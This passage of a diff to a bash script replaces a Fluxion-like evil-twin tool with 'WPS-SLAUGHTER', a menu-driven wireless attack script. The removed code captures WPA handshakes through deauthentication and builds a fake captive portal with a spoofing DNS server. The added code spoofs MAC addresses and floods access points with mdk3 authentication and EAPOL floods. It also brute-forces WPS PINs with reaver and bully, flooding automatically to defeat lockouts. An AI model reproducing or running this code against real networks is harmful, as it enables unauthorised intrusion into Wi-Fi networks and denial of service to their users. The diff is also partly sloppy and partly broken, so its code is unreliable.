'[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green}MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "Archivo ${red}NO$transparent existe" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$green "1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$green "2)"$transparent" pyrit" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### +clear +echo " +██╗ ██╗██████╗ ███████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗ +██║ ██║██╔══██╗██╔════╝ ██╔════╝██║ ██╔══██╗██║ ██║██╔════╝ ██║ ██║╚══██╔══╝██╔════╝██╔══██╗ +██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║ ███████║██║ ██║██║ ███╗███████║ ██║ █████╗ ██████╔╝ +██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║ ██╔══██║██║ ██║██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██╗ +╚███╔███╔╝██║ ███████║ ███████║███████╗██║ ██║╚██████╔╝╚██████╔╝██║ ██║ ██║ ███████╗██║ ██║ +╚══╝╚══╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ +" +echo "WPS-SLAUGHTER BY: Apathetic Euphoria" +echo "+ Help and Support from Aanarchyy" +sleep 3 +clear +#!/bin/bash +clear +declare BSSID; +declare ESSID; +declare CHANNEL; +declare WIFI_MONITOR; +declare WIFI_MONITOR2; +declare WIFI_MONITOR3; +declare WIFI_MONITOR4; +declare WIFI_MONITOR5; +sleep 3 +clear +sudo rfkill unblock all -############################################# < HANDSHAKE > ############################################ +#####Functions for Monitor Mode#### -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$green "1)"$transparent" Deauth all" - echo -e " "$green "2)"$transparent" Deauth all [mdk3]" - echo -e " "$green "3)"$transparent" Deauth target " - echo -e " "$green "4)"$transparent" Rescan networks " - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - +enable_mon_mode_1() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR" +sudo ifconfig $WIFI_MONITOR down +sleep 1 +sudo iwconfig $WIFI_MONITOR mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR up +echo "Monitor Mode Enabled" } -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - +enable_mon_mode_2() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down +sleep 1 +sudo iwconfig $WIFI_MONITOR2 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR2 up +echo "Monitor Mode Enabled" } -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$green "1)"$transparent" Yes" - echo -e " "$green "2)"$transparent" Strike again " - echo -e " "$green "3)"$transparent" No (Select another attack)" - echo -e " "$green "4)"$transparent" Select another network" - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done +enable_mon_mode_3() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down +sleep 1 +sudo iwconfig $WIFI_MONITOR3 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR3 up +echo "Monitor Mode Enabled" } -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi +enable_mon_mode_4() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 down +sleep 1 +sudo iwconfig $WIFI_MONITOR4 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR4 up +echo "Monitor Mode Enabled" } -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi +enable_mon_mode_5() +{ +echo "Enabling Monitor Mode on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down +sleep 1 +sudo iwconfig $WIFI_MONITOR5 mode monitor +sleep 1 +sudo ifconfig $WIFI_MONITOR5 up +echo "Monitor Mode Enabled" } -############################################# < HANDSHAKE > ############################################ - +####End of Functions for Monitor Mode#### +#### Functions for MAC CHANGER #### +mac_change_1() +{ +echo "Setting the MAC Address on $WIFI_MONITOR" +sudo ifconfig $WIFI_MONITOR down +sleep 3 +macchanger $WIFI_MONITOR -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR up +echo "MAC Changed" +} +mac_change_2() +{ +echo "Setting the MAC Address on $WIFI_MONITOR2" +sudo ifconfig $WIFI_MONITOR2 down +sleep 3 +macchanger $WIFI_MONITOR2 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR2 up +echo "MAC Changed" +} +mac_change_3() +{ +echo "Setting the MAC Address on $WIFI_MONITOR3" +sudo ifconfig $WIFI_MONITOR3 down +sleep 3 +macchanger $WIFI_MONITOR3 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR3 up +echo "MAC Changed" +} -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$green ""1)"$transparent" Web Interface" - echo -e "$green ""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$green ""1)"$transparent" English [ENG]" - echo -e "$green ""2)"$transparent" Spanish [ESP]" - echo -e "$green ""3)"$transparent" Italy [IT]" - echo -e "$green ""4)"$transparent" French [FR]" - echo -e "$green ""5)"$transparent" Portuguese [POR]" - echo -e "$green ""6)"$transparent" German [GER]" - echo -e "$green ""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break +mac_change_4() +{ +echo "Setting the MAC Address on $WIFI_MONITOR4" +sudo ifconfig $WIFI_MONITOR4 down +sleep 3 +macchanger $WIFI_MONITOR4 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR4 up +echo "MAC Changed" +} - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack +mac_change_5() +{ +echo "Setting the MAC Address on $WIFI_MONITOR5" +sudo ifconfig $WIFI_MONITOR5 down +sleep 3 +macchanger $WIFI_MONITOR5 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $WIFI_MONITOR5 up +echo "MAC Changed" } -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf +####End of Functions for MAC CHANGER #### -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; +####End of Target Scanner#### + +################################## Functions For MDK3 ######################################## + +run_mdk3_ASOC1() +{ + xterm -e "timeout 60 mdk3 WIFI_MONITOR a -a $BSSID -m" } -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; +run_mdk3_EAPOL1() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" } +run_mdk3_ASOC2() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" +} -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); +run_mdk3_EAPOL2() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" +} +run_mdk3_ASOC3() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" +} -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); +run_mdk3_EAPOL3() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" +} -while(1) +run_mdk3_ASOC4() { + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" +} -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); +run_mdk3_EAPOL4() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" } -?>" > $DUMP_PATH/data/check.php +run_mdk3_ASOC5() +{ + xterm -e "timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" +} -# Config DHCP -echo "authoritative; +run_mdk3_EAPOL5() +{ + xterm -e "timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" +} -default-lease-time 600; -max-lease-time 7200; +##################################End Of Functions For MDK3 ######################################## -subnet $RANG_IP.0 netmask 255.255.255.0 { +conditional_clear +mostrarheader -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; +echo "#### How many Wlan Adapters will you use? ####" +echo " " +echo -e ""$blue"1)"$transparent" 1 ADAPTER" +echo -e ""$blue"2)"$transparent" 2 ADAPTERS" +echo -e ""$blue"3)"$transparent" 3 ADAPTERS" +echo -e ""$blue"4)"$transparent" 4 ADAPTERS" +echo -e ""$blue"5)"$transparent" 5 ADAPTERS" +echo -e ""$blue"4)"$transparent" Back" +echo " " +echo -n " #> " + +read a +case $a in + 1) +clear +echo +read -p " - What is the name of your Wlan Adapter? (Ex:wlan0) - ": ADAPTER; -range $RANG_IP.100 $RANG_IP.250; +clear -} -" >$DUMP_PATH/dhcpd.conf +scan_for_targets -#create an empty leases file -touch $DUMP_PATH/dhcpd.leases -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" +clear -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) +enable_mon_mode_1 -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) +sleep 1 -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" +clear -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) -server.error-handler-404 = \"/\" +conditional_clear +mostrarheader -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) +echo "Change MAC Address" +echo " " + echo -e " "$blue"1)"$transparent" yes" + echo -e " "$blue"2)"$transparent" no" + echo " " + echo -n " #> " -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} +read c +case $c in + 1) +clear -" >$DUMP_PATH/lighttpd.conf +mac_change_1 -# that redirects all DNS requests to the gateway -echo "import socket +sleep 1 -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' +clear +;; + 2) +clear +;; + *)Invalid Option +;; +esac - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet +menu () { +clear -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip + conditional_clear + mostrarheader + + + LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` + + if [ $LINEAS_WIFIS_CSV -le 3 ]; then + deltax && break + fi + + linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` + linap=`expr $linap - 1` + head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv + tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv + echo " WIFI LIST " + echo "" + echo " # MAC CHAN SECU PWR ESSID" + echo "" + i=0 + + while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do + longueur=${#MAC} + PRIVACY=$(echo $PRIVACY| tr -d "^ ") + PRIVACY=${PRIVACY:0:4} + if [ $longueur -ge 17 ]; then + i=$(($i+1)) + POWER=`expr $POWER + 100` + CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` + + if [ "$CLIENTE" != "" ]; then + CLIENTE="*" + fi + + echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" + aidlenght=$IDLENGTH + assid[$i]=$ESSID + achannel[$i]=$CHANNEL + amac[$i]=$MAC + aprivacy[$i]=$PRIVACY + aspeed[$i]=$SPEED + fi + done < $DUMP_PATH/dump-02.csv + echo + echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" + echo "" + echo " Select Target " + echo -n " #> " + read choice + idlenght=${aidlenght[$choice]} + ssid=${assid[$choice]} + channel=$(echo ${achannel[$choice]}|tr -d [:space:]) + mac=${amac[$choice]} + privacy=${aprivacy[$choice]} + speed=${aspeed[$choice]} + Host_IDL=$idlength + Host_SPEED=$speed + Host_ENC=$privacy + Host_MAC=$mac + Host_CHAN=$channel + acouper=${#ssid} + fin=$(($acouper-idlength)) + Host_SSID=${ssid:1:fin} + - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + +read d +case $d in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 2) +clear + +conditional_clear +mostrarheader +echo +read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +clear +conditional_clear +mostrarheader +echo "Second WIFI_MONITOR +1)Yes +2)No" + +read f +case $f in + 1) +clear + +mac_change_1 + +mac_change_2 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read g +case $g in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b 